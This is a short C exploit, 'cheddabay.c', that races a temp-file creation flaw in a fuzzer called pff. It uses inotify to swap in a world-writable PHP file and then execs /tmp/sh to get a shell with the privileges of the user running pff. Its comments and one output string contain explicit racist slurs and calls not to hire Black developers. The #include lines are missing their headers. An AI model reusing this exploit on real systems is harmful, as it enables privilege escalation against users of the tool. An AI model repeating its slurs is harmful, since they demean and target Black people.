/* * cheddabay.c - Insecure File creation method in pff. Yields shell * with priveleges of user executing pff. * * Important note before reading on: the primary developer of this utility * is a darkie. It is time we make a decision on whether or not to allow * niggers to fuck up the last white industry left in the world. * DONT HIRE NIGGERS, THEY BRING ONLY FAILURE. * * Shouts to irc.smashthestack.org/#social. * * * Last note: * Special thanks to Ilja Van Sprundel from SureSEC... LOVE U BABE! * Hope we can install linux again soon! * <3 <3 <3 <3 <3 */ #include #include #include #include #define FILEA "/tmp/PFF/fuzz0.php" #define FILEB "/tmp/fuzzlol.php" #define MODEZ (S_IRWXU | S_IRWXG | S_IRWXO) /* * STOP HIRING BLACK DEVELOPERS! * THE SOUTH WILL RISE AGAIN. */ int main(int argc, char *argv[]) { int f,n,w; char *s = ""; struct inotify_event e; n = inotify_init(); printf("-= nigger chaser initialized =-\n"); if ((f = open(FILEB, O_CREAT | O_RDWR| O_EXCL, MODEZ)) > 0){ write(f, s, strlen(s)); close(f); } printf("[+] created abritrary code: %s\n", FILEB); w = inotify_add_watch(n, "/tmp/PFF", IN_CREATE); read(n, &e, sizeof(e)); rename(FILEB, FILEA); printf("[+] %s => %s\n", FILEB, FILEA); printf("[+] executing arbitrary code\n"); sleep(2); printf("[+] racism complete \n"); execl("/tmp/sh", "/tmp/sh", 0); }